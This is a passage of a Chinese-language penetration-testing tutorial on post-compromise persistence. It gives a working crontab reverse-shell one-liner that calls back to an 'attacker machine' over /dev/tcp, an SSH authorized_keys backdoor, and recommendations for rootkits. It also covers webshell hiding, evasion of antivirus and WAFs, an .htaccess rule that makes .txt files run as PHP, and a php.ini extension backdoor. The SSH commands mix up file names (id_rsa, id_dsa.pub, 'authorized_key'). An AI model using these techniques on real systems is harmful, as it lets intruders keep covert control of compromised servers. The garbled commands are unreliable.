这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用,crontab格式 每隔60分钟执行一次
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -命令解释:
echo '*/60 * * * *' #crontab格式 每隔60分钟执行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9,要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的
exec 0<&9;exec 1>&9 2>&1;linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使文件描述符n成为描述符m的副本
exec 0<&9; 将fd9从定向到标准输入;
exec 1>&9 2>&1; 将标准输出从定向到文件fd9,将标准错误从定向到标准输出.
简单的理解为fd9=fd0 fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.
/bin/bash --noprofile -i 3.2SSH公钥免密将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。客户端执行生成公钥和私钥:
ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。
服务端:
cat id_dsa.pub >> ~/.ssh/authorized_key
这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。
3.3Rookit后门3.3.1应用级rookit
应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。
3.4内核级rookit隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。
四、Web权限维持通过对webshell的动静态免杀绕过防护软件,进行权限维持。通过修改webshell时间戳,放到不被管理员关注的一些深层目录中,去除敏感shell函数特征,通过对shell流量双向加密去避开常规waf检测
4.1Webshell隐藏使用windows自带命令行工具attrib用来显示或更改文件属性。
attrib +r +s +h
4.2配置文件型后门
在.htaccess中添加php解析的新后缀并上传,之后上传该后缀的木马即可。
AddType application/x-httpd-php .txt
4.3中间件后门
将编译好的so文件添加到php.ini的extension中。当模块被初始化时,会去加载执行我们的代码。当发送特定参数的字符串过去时,即可触发后门。
五、总结本文从攻击者视角总结了在获取到服务器或主机权限后,维持权限的一些技巧,持久化主要是为了把攻陷的目标作为据点进一步深入渗透。由于水平有限,欢迎大家指出文中的错误和交流指教。
参考资料:
1.https://xz.aliyun.com/t/6822 持久化研究